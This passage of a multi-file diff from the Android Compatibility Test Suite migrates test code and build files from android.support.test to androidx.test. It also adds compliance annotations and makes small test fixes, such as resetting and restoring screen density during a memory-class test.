+import com.android.compatibility.common.util.CddTest;
+
 import com.android.cts.process.activity.NoSharePidActivity;
 import com.android.cts.process.activity.SharePidActivity;
 import com.android.cts.process.activity.SharePidSubActivity;
@@ -32,6 +34,7 @@
 public class ProcessTest extends AndroidTestCase {
     private final int WAIT_TIME = 2000;
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testUid() throws Exception {
         String enableApp = "com.android.cts.process.shareuidapp";
         String disableApp = "com.android.cts.process.noshareuidapp";
@@ -46,6 +49,7 @@
         assertNotSame(uid2, uid3);
     }
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testPid() throws Exception {
         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index cef43790..789a8f4 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner compatibility-device-util
+    ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/acceleration/AndroidManifest.xml b/tests/acceleration/AndroidManifest.xml
index 1a21554..1aa4e64 100644
--- a/tests/acceleration/AndroidManifest.xml
+++ b/tests/acceleration/AndroidManifest.xml
@@ -28,7 +28,7 @@
                 android:hardwareAccelerated="false" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.acceleration.cts"
             android:label="Tests for the Hardware Acceleration APIs." >
         <meta-data android:name="listener"
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 6dc7a5f..c1806c6 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt hamcrest-library 
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index da993ed..44aa84c 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -56,7 +56,7 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.view.accessibility.cts"
                      android:label="Tests for the accessibility APIs.">
         <meta-data android:name="listener"
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index ed9c388..9b2369c 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -19,9 +19,9 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt hamcrest-library \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     platform-test-annotations
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 5214410..4c0284a 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -30,38 +30,38 @@
         <activity
             android:label="@string/accessibility_end_to_end_test_activity"
             android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="portrait"/>
+            android:screenOrientation="locked"/>
 
         <activity
             android:label="@string/accessibility_query_window_test_activity"
             android:name=".activities.AccessibilityWindowQueryActivity"
             android:supportsPictureInPicture="true"
-            android:screenOrientation="portrait"/>
+            android:screenOrientation="locked"/>
 
         <activity
             android:label="@string/accessibility_view_tree_reporting_test_activity"
             android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="portrait"/>
+            android:screenOrientation="locked"/>
 
         <activity
             android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="portrait"/>
+            android:screenOrientation="locked"/>
 
         <activity
             android:label="@string/accessibility_text_traversal_test_activity"
             android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="portrait"/>
+            android:screenOrientation="locked"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
-             android:screenOrientation="portrait"/>
+             android:screenOrientation="locked"/>
 
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:screenOrientation="portrait" />
+            android:screenOrientation="locked" />
 
         <activity
             android:label="@string/accessibility_soft_keyboard_modes_activity"
@@ -147,7 +147,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.accessibilityservice.cts"
         android:label="Tests for the accessibility APIs.">
         <meta-data
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
index 5e1fd3b..5c8cf31 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
@@ -17,8 +17,9 @@
 import android.accessibilityservice.AccessibilityButtonController;
 import android.app.Instrumentation;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
index e45f0f4..a65b41e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
@@ -16,7 +16,6 @@
 
 import static android.content.pm.PackageManager.FEATURE_FINGERPRINT;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.reset;
@@ -30,9 +29,10 @@
 import android.hardware.fingerprint.FingerprintManager;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 01d841e..1dab4ff 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -28,11 +28,12 @@
 import android.graphics.Path;
 import android.graphics.Point;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
index 9299807..9654352 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
@@ -19,8 +19,9 @@
 
 import android.content.Context;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AppOpsUtils;
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index 0f2c0e8..8efcb4c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -22,15 +22,14 @@
 import android.accessibilityservice.cts.utils.AsyncUtils;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
-import android.os.Debug;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.WindowManager;
-import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.Button;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.BeforeClass;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
index 1eedee1..dd2b0a9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
@@ -33,13 +33,14 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.app.UiAutomation.AccessibilityEventFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 720e23f..28a3acd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -29,9 +29,9 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewGroup;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 9983699..3b2e978 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -22,8 +22,9 @@
 import android.media.AudioManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -71,7 +72,8 @@
             return;
         }
         final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
-        final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
+        final int otherVolume = (startingVolume == minVolume) ? (minVolume + 1) : startingVolume - 1;
         final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
                 .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
         try {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index e9f3f52..388fd0a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -43,9 +43,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 import android.view.WindowManager;
@@ -55,6 +52,10 @@
 import android.widget.AutoCompleteTextView;
 import android.widget.Button;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index b0d7001..1456b23 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -42,8 +42,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import static java.util.concurrent.TimeUnit.SECONDS;
-
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
@@ -54,18 +52,21 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import static java.util.concurrent.TimeUnit.SECONDS;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 822b2a6..a607fe7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -24,7 +24,7 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.graphics.Rect;
-import android.support.test.rule.ActivityTestRule;
+import androidx.test.rule.ActivityTestRule;
 import android.text.TextUtils;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityWindowInfo;
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index bd5346d..3775baf 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner mockito-target-minus-junit4
+    ctstestrunner-axt mockito-target-minus-junit4
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/admin/AndroidManifest.xml b/tests/admin/AndroidManifest.xml
index d3467af..54adff3 100644
--- a/tests/admin/AndroidManifest.xml
+++ b/tests/admin/AndroidManifest.xml
@@ -24,7 +24,7 @@
       <uses-library android:name="android.test.runner"/>
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.admin.app"
                    android:label="Tests for the admin APIs.">
         <meta-data android:name="listener"
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index 7f1a7ad..94115bd 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for the CTS device admin tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="install-arg" value="-t" />
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index 947fb7d..ee4a158 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_JAVA_LIBRARIES := guava
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index e38ad2f..25521ed 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -27,14 +27,14 @@
     android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ctstestserver \
     mockito-target-minus-junit4 \
-    android-support-test \
+    androidx.test.rules \
     platform-test-annotations \
     cts-amwm-util \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src)
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 96977fb..4e69a0c 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.app.stubs"
             android:label="CTS tests of android.app">
         <meta-data android:name="listener"
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index fbc5c38..321657c 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -27,6 +27,7 @@
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.app.cts" />
         <option name="runtime-hint" value="6m38s" />
         <option name="hidden-api-checks" value="false"/>
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 706be8f..d985861 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -32,8 +32,8 @@
 
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ctstestserver \
     mockito-target-minus-junit4 \
     androidx.legacy_legacy-support-v4
diff --git a/tests/app/app/src/android/app/stubs/DialogStubActivity.java b/tests/app/app/src/android/app/stubs/DialogStubActivity.java
index bb8d85b..1db5a84 100644
--- a/tests/app/app/src/android/app/stubs/DialogStubActivity.java
+++ b/tests/app/app/src/android/app/stubs/DialogStubActivity.java
@@ -19,18 +19,17 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.DatePickerDialog;
+import android.app.DatePickerDialog.OnDateSetListener;
 import android.app.Dialog;
 import android.app.TimePickerDialog;
-import android.app.DatePickerDialog.OnDateSetListener;
 import android.app.TimePickerDialog.OnTimeSetListener;
 import android.content.Context;
 import android.content.DialogInterface;
-import android.content.Intent;
 import android.content.DialogInterface.OnCancelListener;
+import android.content.Intent;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Message;
-import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.LayoutInflater;
@@ -38,6 +37,8 @@
 import android.widget.DatePicker;
 import android.widget.TimePicker;
 
+import androidx.test.rule.ActivityTestRule;
+
 /*
  * Stub class for  Dialog, AlertDialog, DatePickerDialog, TimePickerDialog etc.
  */
diff --git a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
index ab377d9..e4e3fee 100644
--- a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
@@ -15,25 +15,28 @@
  */
 package android.app.stubs;
 
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
 import android.app.ExpandableListActivity;
 import android.os.Bundle;
 import android.os.Looper;
 import android.os.MessageQueue;
 import android.view.ContextMenu;
-import android.view.View;
 import android.view.ContextMenu.ContextMenuInfo;
+import android.view.View;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
 import android.widget.SimpleExpandableListAdapter;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.internal.R;
 import com.android.internal.view.menu.ContextMenuBuilder;
+
 import com.google.android.collect.Lists;
 
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
 public class ExpandableListTestActivity extends ExpandableListActivity {
     private static final String NAME = "NAME";
     private static final String IS_EVEN = "IS_EVEN";
@@ -114,23 +117,29 @@
         return RESULT_OK;
     }
 
-    private int testSelecte() {
+    private int testSelect() {
         final ExpandableListView v = getExpandableListView();
-        for (int i = 0; i < 20; i++) {
-            v.expandGroup(i);
-            setSelectedGroup(i);
-            for (int k = 0; k < 15; k++) {
-                setSelectedChild(i, k, false);
-                if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
-                    return RESULT_CANCELED;
-            }
+        try {
+            // Make sure the touch mode is disabled since selection doesn't work in touch mode.
+            InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+            for (int i = 0; i < 20; i++) {
+                v.expandGroup(i);
+                setSelectedGroup(i);
+                for (int k = 0; k < 15; k++) {
+                    setSelectedChild(i, k, false);
+                    if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
+                        return RESULT_CANCELED;
+                }
 
-            for (int k = 0; k < 15; k++) {
-                setSelectedChild(i, k, true);
-                if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
-                    return RESULT_CANCELED;
+                for (int k = 0; k < 15; k++) {
+                    setSelectedChild(i, k, true);
+                    if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
+                        return RESULT_CANCELED;
+                }
+                v.collapseGroup(i);
             }
-            v.collapseGroup(i);
+        } finally {
+            InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
         }
         return RESULT_OK;
     }
@@ -140,7 +149,7 @@
         super.onResume();
         final String action = getIntent().getAction();
         if (LaunchpadActivity.EXPANDLIST_SELECT.equals(action)) {
-            setResult(testSelecte());
+            setResult(testSelect());
         } else if (LaunchpadActivity.EXPANDLIST_VIEW.equals(action)) {
             setResult(testView());
         } else if (LaunchpadActivity.EXPANDLIST_CALLBACK.equals(action)) {
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 304f79e..489dea0 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -19,7 +19,7 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
+    compatibility-device-util-axt \
 
 LOCAL_SRC_FILES := \
     ../app/src/android/app/stubs/LocalService.java
diff --git a/tests/app/src/android/app/cts/ActivityActionModeTest.java b/tests/app/src/android/app/cts/ActivityActionModeTest.java
index 1e1ab21..2a0e16d 100644
--- a/tests/app/src/android/app/cts/ActivityActionModeTest.java
+++ b/tests/app/src/android/app/cts/ActivityActionModeTest.java
@@ -15,23 +15,23 @@
  */
 package android.app.cts;
 
+import static org.junit.Assert.*;
 import static org.mockito.Mockito.*;
 
 import android.app.stubs.MockActivity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.view.ActionMode;
 import android.view.Window;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.*;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ActivityActionModeTest {
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index 0668ff8..cda65a9 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -22,6 +22,7 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
+import android.support.test.uiautomator.UiDevice;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.DisplayMetrics;
 import android.view.Display;
@@ -31,6 +32,8 @@
 
 import java.util.HashMap;
 import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * {@link ActivityInstrumentationTestCase2} that tests {@link ActivityManager#getMemoryClass()}
@@ -156,12 +159,35 @@
 
     @CddTest(requirement="3.7")
     public void testGetMemoryClass() throws Exception {
+        UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+        int density = resetDensityIfNeeded(uiDevice);
+
         int memoryClass = getMemoryClass();
         int screenDensity = getScreenDensity();
         int screenSize = getScreenSize();
         assertMemoryForScreenDensity(memoryClass, screenDensity, screenSize);
 
         runHeapTestApp(memoryClass);
+
+        restoreDensityIfNeeded(uiDevice, density);
+    }
+
+    private int resetDensityIfNeeded(UiDevice device) throws Exception {
+        final String output = device.executeShellCommand("wm density");
+         final Pattern p = Pattern.compile("Override density: (\\d+)");
+         final Matcher m = p.matcher(output);
+         if (m.find()) {
+             device.executeShellCommand("wm density reset");
+             int restoreDensity = Integer.parseInt(m.group(1));
+             return restoreDensity;
+         }
+         return -1;
+    }
+
+    private void restoreDensityIfNeeded(UiDevice device, int restoreDensity) throws Exception {
+        if (restoreDensity > 0) {
+            device.executeShellCommand("wm density " + restoreDensity);
+        }
     }
 
     private int getMemoryClass() {
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7924d93..5beb1c4 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -40,7 +40,6 @@
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.server.am.WindowManagerState;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiSelector;
@@ -48,6 +47,8 @@
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -914,10 +915,12 @@
      * Test that the foreground service app op does prevent the foreground state.
      */
     public void testForegroundServiceAppOp() throws Exception {
+        // Use default timeout value 5000
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses);
+        // Use default timeout value 5000
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
-                mServiceIntent, WAIT_TIME);
+                mServiceIntent);
         final WatchUidRunner uidWatcher = controller.getUidWatcher();
 
         try {
@@ -1007,7 +1010,8 @@
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null);
             uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
             uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
-
+            // Remove tempwhitelist avoid temp white list block idle command and app crash occur.
+            executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
             // Good, now stop the service and wait for it to go away.
             mContext.stopService(mServiceStartForegroundIntent);
             conn.waitForDisconnect();
@@ -1127,9 +1131,13 @@
